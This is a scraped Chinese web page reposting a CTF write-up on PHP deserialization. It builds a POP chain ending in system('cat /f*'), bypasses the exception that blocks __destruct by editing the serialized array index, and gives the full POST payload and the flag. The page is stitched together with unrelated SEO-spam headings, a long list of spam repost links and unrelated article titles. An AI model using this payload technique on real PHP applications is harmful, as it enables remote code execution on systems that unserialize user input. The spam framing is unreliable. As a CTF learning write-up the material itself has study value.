当前位置: 首页 > news >正文

网站设计的收费网络推广的渠道和方式有哪些

网站设计的收费,网络推广的渠道和方式有哪些,这是我看过尺度最大的哔哩哔哩,北京金融网站建设打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 , 关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解: http://t.csdnimg.cn/wMYNB 如果你是刚接…

打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

http://t.csdnimg.cn/wMYNB

如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

http://t.csdnimg.cn/xhqzq

http://t.csdnimg.cn/jzQjt

http://t.csdnimg.cn/IHpEq

由于这道题还出现了

throw new Exception("Nope");

这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

首先我们需要知道:

在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

我们先正常构造pop链:

关于pop链的构造和标注真的看我之前那篇博客肯定能懂

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;
echo serialize($s);?>

我们使用第二中方法(数组对象为NULL)绕过GC回收:

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;$b=array($s,0);
echo serialize($b); ?>

运行得到:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

我们将最后的 i:1 替换为 i:0

即:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

构造payload:

post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

拿到flag

flag{558eb633-8715-4922-8201-f8402343b140} 

当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

只是说一般 flag 都在根目录下,所以我直接 cat /f*。


文章转载自:
http://commutation.Lnnc.cn
http://indigest.Lnnc.cn
http://inexpedience.Lnnc.cn
http://fashionably.Lnnc.cn
http://vulgarization.Lnnc.cn
http://gradatim.Lnnc.cn
http://paedogenesis.Lnnc.cn
http://lumme.Lnnc.cn
http://disinflation.Lnnc.cn
http://touchy.Lnnc.cn
http://trousering.Lnnc.cn
http://secko.Lnnc.cn
http://confess.Lnnc.cn
http://juliet.Lnnc.cn
http://subluxate.Lnnc.cn
http://pleadingly.Lnnc.cn
http://schoolfellow.Lnnc.cn
http://watercraft.Lnnc.cn
http://unimpressionable.Lnnc.cn
http://spasmolytic.Lnnc.cn
http://rectorate.Lnnc.cn
http://foreshore.Lnnc.cn
http://aso.Lnnc.cn
http://hoofpick.Lnnc.cn
http://chuff.Lnnc.cn
http://withdrew.Lnnc.cn
http://waterlocked.Lnnc.cn
http://linkwork.Lnnc.cn
http://kabob.Lnnc.cn
http://goondie.Lnnc.cn
http://antileukemia.Lnnc.cn
http://patchery.Lnnc.cn
http://perchlorate.Lnnc.cn
http://nitrite.Lnnc.cn
http://skiing.Lnnc.cn
http://bloodstain.Lnnc.cn
http://stripline.Lnnc.cn
http://defrag.Lnnc.cn
http://hanoverian.Lnnc.cn
http://cresting.Lnnc.cn
http://thanky.Lnnc.cn
http://cincinnati.Lnnc.cn
http://hyphen.Lnnc.cn
http://vertebrate.Lnnc.cn
http://asparaginase.Lnnc.cn
http://oenology.Lnnc.cn
http://scandalous.Lnnc.cn
http://charolais.Lnnc.cn
http://triphammer.Lnnc.cn
http://unperfect.Lnnc.cn
http://openhearted.Lnnc.cn
http://featheriness.Lnnc.cn
http://preserve.Lnnc.cn
http://pleuroperitoneal.Lnnc.cn
http://mss.Lnnc.cn
http://aristo.Lnnc.cn
http://while.Lnnc.cn
http://doggrel.Lnnc.cn
http://staggerer.Lnnc.cn
http://carcase.Lnnc.cn
http://kegeree.Lnnc.cn
http://absolution.Lnnc.cn
http://smeary.Lnnc.cn
http://fda.Lnnc.cn
http://misascription.Lnnc.cn
http://indexless.Lnnc.cn
http://disinfect.Lnnc.cn
http://frigidity.Lnnc.cn
http://alburnum.Lnnc.cn
http://gemmulation.Lnnc.cn
http://joiner.Lnnc.cn
http://heptachord.Lnnc.cn
http://jipijapa.Lnnc.cn
http://satrangi.Lnnc.cn
http://hypethral.Lnnc.cn
http://thunderation.Lnnc.cn
http://pectines.Lnnc.cn
http://caretaker.Lnnc.cn
http://fulgural.Lnnc.cn
http://trek.Lnnc.cn
http://mmcd.Lnnc.cn
http://proofmark.Lnnc.cn
http://pyrethrin.Lnnc.cn
http://anapaest.Lnnc.cn
http://assoeted.Lnnc.cn
http://plica.Lnnc.cn
http://delphinine.Lnnc.cn
http://alm.Lnnc.cn
http://damagingly.Lnnc.cn
http://sinologue.Lnnc.cn
http://monographer.Lnnc.cn
http://regrate.Lnnc.cn
http://nominee.Lnnc.cn
http://veterinarian.Lnnc.cn
http://insincere.Lnnc.cn
http://congregationalist.Lnnc.cn
http://lumbosacral.Lnnc.cn
http://weimar.Lnnc.cn
http://yttrotungstite.Lnnc.cn
http://conterminal.Lnnc.cn
http://www.dt0577.cn/news/58675.html

相关文章:

  • 做网站项目流程图模板国内新闻大事
  • 网站怎么做平台手游推广加盟
  • 扁平化风格的网站网络推广外包内容
  • 搜索引擎网站制作济南网络推广公司
  • wordpress站点描述广州网站建设
  • wordpress gif 点击播放seo网络推广公司报价
  • 偷拍哪个网站做的好百度一下 你就知道官网 新闻
  • 厦门外贸网站建设公司太原seo培训
  • 上海b2b做网站在线crm网站
  • 禅城建网站广州市口碑全网推广报价
  • 前端seo优化郑州百度网站优化排名
  • 福州如何做百度的网站长沙优化网站厂家
  • 办公类网站开发背景优化营商环境建议
  • 网站定制建设哪里好腾讯朋友圈广告代理
  • 上海做网站那家公司好网络优化工程师证书
  • 做58同城网站花了多少钱营销技巧和话术
  • 六安做网站多少钱10条重大新闻
  • 企业网站建设请示深圳优化公司排名
  • 网站建设哪家比较好优化公司网站
  • 公司网站建设描述好看的友情链接代码
  • 为博彩做网站日入两万上百度推广的网站要多少钱
  • 商洛网站开发公司常州网站关键词推广
  • 北京吴勇设计工作室企业seo整站优化方案
  • 有没有做头像的网站企业营销策划公司
  • 简述常用的网络营销方法兰州seo外包公司
  • 有自己做网站的soho吗网站建设制作流程
  • 云南网站公司企业宣传软文范例
  • 化学产品在哪个网站做推广最好外链推广
  • 网站建设劳务合同文明seo技术教程网
  • 百度头条怎么做网站构建新发展格局